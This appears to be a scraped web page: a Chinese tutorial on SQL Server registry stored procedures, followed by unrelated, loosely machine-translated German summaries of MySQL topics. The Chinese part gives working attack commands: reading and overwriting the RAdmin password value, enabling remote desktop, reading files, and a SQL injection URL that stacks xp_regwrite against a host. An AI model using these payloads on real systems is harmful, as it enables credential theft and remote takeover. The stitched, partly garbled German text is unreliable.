sqlserver里面有一些危险的扩展存储过程,可以操作注册表,所以很多情况下,下面的存储过程为了服务器安全都会将这些存储过程删除。不过防御与安全同等重要。下面是具体的注册的操作方法。
SQL Server中包含了几个可以访问系统的扩展存储过程.但实际上这几个扩展存储过程是未公开的,从sql server 7.0就有了,在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统的能力,
而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们.
xp_regenumvalues 以多个记录集方式返回所有键值
使用方法:
xp_regenumvalues 根键, 子键
比如说,想看看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 的所有键值:
use master
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'
xp_regread 返回制定键的值
使用方法:
xp_regread 根键,子键,键值名
use master
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
得到密码
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
远程桌面开启为0
xp_regwrite 写入
使用方法:
xp_regwrite 根键,子键, 值名, 值类型, 值
use master
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23;--
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY','';--
必须清空后再写新数值
修改成功的前提是值为空
注意值类型有2种REG_SZ 表示字符型,相当于新建字符串值,REG_DWORD 表示整型,相当于新建DWORD值
REG_BINARY
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',1;--
禁用远程桌面
xp_regdeletevalue 删除某个值
使用方法:
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
use master
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
xp_regdeletekey 删除键,包括该键下所有值
使用方法:
use master
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'
运行前提SA
可能用处不是很大,也没深入研究,因为觉得读asp用xp_makecab更方便点,仅供思维扩展。
方法1.bulk insert aaa FROM 'c:\1.txt'
方法2.xp_readerrorlog 1,'c:\1.txt'
开启远程桌面http://192.168.200.188/product_list.asp?classid=14;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',0;--

MySQL ist ein Open Source Relational Database Management -System, das hauptsächlich zum schnellen und zuverlässigen Speicher und Abrufen von Daten verwendet wird. Sein Arbeitsprinzip umfasst Kundenanfragen, Abfragebedingungen, Ausführung von Abfragen und Rückgabergebnissen. Beispiele für die Nutzung sind das Erstellen von Tabellen, das Einsetzen und Abfragen von Daten sowie erweiterte Funktionen wie Join -Operationen. Häufige Fehler umfassen SQL -Syntax, Datentypen und Berechtigungen sowie Optimierungsvorschläge umfassen die Verwendung von Indizes, optimierte Abfragen und die Partitionierung von Tabellen.

MySQL ist ein Open Source Relational Database Management -System, das für Datenspeicher, Verwaltung, Abfrage und Sicherheit geeignet ist. 1. Es unterstützt eine Vielzahl von Betriebssystemen und wird in Webanwendungen und anderen Feldern häufig verwendet. 2. Durch die Client-Server-Architektur und verschiedene Speichermotoren verarbeitet MySQL Daten effizient. 3. Die grundlegende Verwendung umfasst das Erstellen von Datenbanken und Tabellen, das Einfügen, Abfragen und Aktualisieren von Daten. 4. Fortgeschrittene Verwendung beinhaltet komplexe Abfragen und gespeicherte Verfahren. 5. Häufige Fehler können durch die Erklärungserklärung debuggen. 6. Die Leistungsoptimierung umfasst die rationale Verwendung von Indizes und optimierte Abfrageanweisungen.

MySQL wird für seine Leistung, Zuverlässigkeit, Benutzerfreundlichkeit und Unterstützung der Gemeinschaft ausgewählt. 1.MYSQL bietet effiziente Datenspeicher- und Abruffunktionen, die mehrere Datentypen und erweiterte Abfragevorgänge unterstützen. 2. Übernehmen Sie die Architektur der Client-Server und mehrere Speichermotoren, um die Transaktion und die Abfrageoptimierung zu unterstützen. 3. Einfach zu bedienend unterstützt eine Vielzahl von Betriebssystemen und Programmiersprachen. V.

Zu den Verriegelungsmechanismen von InnoDB gehören gemeinsame Schlösser, exklusive Schlösser, Absichtsschlösser, Aufzeichnungsschlösser, Lückensperrungen und nächste Schlüsselschlösser. 1. Shared Lock ermöglicht es Transaktionen, Daten zu lesen, ohne dass andere Transaktionen lesen. 2. Exklusives Schloss verhindert, dass andere Transaktionen Daten lesen und ändern. 3.. Intention Lock optimiert die Sperreffizienz. 4. Rekord -Sperr -Indexdatensatz. 5. Gap Lock Locks Index -Aufzeichnungslücke. 6. Die nächste Schlüsselsperrung ist eine Kombination aus Datensatzsperr- und Lückensperrung, um die Datenkonsistenz zu gewährleisten.

Die Hauptgründe für die schlechte MySQL -Abfrageleistung sind die Verwendung von Indizes, die Auswahl der falschen Ausführungsplan durch den Abfrageoptimierer, die unangemessene Tabellenentwurf, das übermäßige Datenvolumen und die Sperrwettbewerbe. 1. Kein Index verursacht langsame Abfragen, und das Hinzufügen von Indizes kann die Leistung erheblich verbessern. 2. Verwenden Sie den Befehl Erklärung, um den Abfrageplan zu analysieren und den Optimiererfehler herauszufinden. 3. Die Rekonstruktion der Tabellenstruktur und Optimierung der Verbindungsbedingungen kann die Probleme mit dem Design der Tabelle verbessern. 4. Wenn das Datenvolumen groß ist, werden Strategien für Partitionierungs- und Tabellenabteilung angewendet. 5. In einer hohen Parallelitätsumgebung können die Optimierung von Transaktionen und Verriegelungsstrategien den Konkurrenz verringern.

In der Datenbankoptimierung sollten Indexierungsstrategien gemäß Abfrageanforderungen ausgewählt werden: 1. Wenn die Abfrage mehrere Spalten beinhaltet und die Reihenfolge der Bedingungen festgelegt ist, verwenden Sie zusammengesetzte Indizes. 2. Wenn die Abfrage mehrere Spalten beinhaltet, aber die Reihenfolge der Bedingungen nicht festgelegt ist, verwenden Sie mehrere einspaltige Indizes. Zusammengesetzte Indizes eignen sich zur Optimierung von Multi-Säulen-Abfragen, während Einspaltindizes für Einspalten-Abfragen geeignet sind.

Um die MySQL -Abfrage zu optimieren, müssen SlowQuerylog und Performance_Schema verwendet werden: 1. Aktivieren Sie SlowQuerylog und setzen Sie Schwellenwerte, um langsame Abfragen aufzuzeichnen; 2. Verwenden Sie Performance_Schema, um die Details zur Ausführung von Abfragen zu analysieren, Leistungs Engpässe zu finden und zu optimieren.

MySQL und SQL sind wesentliche Fähigkeiten für Entwickler. 1.MYSQL ist ein Open -Source -Relational Database Management -System, und SQL ist die Standardsprache, die zum Verwalten und Betrieb von Datenbanken verwendet wird. 2.MYSQL unterstützt mehrere Speichermotoren durch effiziente Datenspeicher- und Abruffunktionen, und SQL vervollständigt komplexe Datenoperationen durch einfache Aussagen. 3. Beispiele für die Nutzung sind grundlegende Abfragen und fortgeschrittene Abfragen wie Filterung und Sortierung nach Zustand. 4. Häufige Fehler umfassen Syntaxfehler und Leistungsprobleme, die durch Überprüfung von SQL -Anweisungen und Verwendung von Erklärungsbefehlen optimiert werden können. 5. Leistungsoptimierungstechniken umfassen die Verwendung von Indizes, die Vermeidung vollständiger Tabellenscanning, Optimierung von Join -Operationen und Verbesserung der Code -Lesbarkeit.


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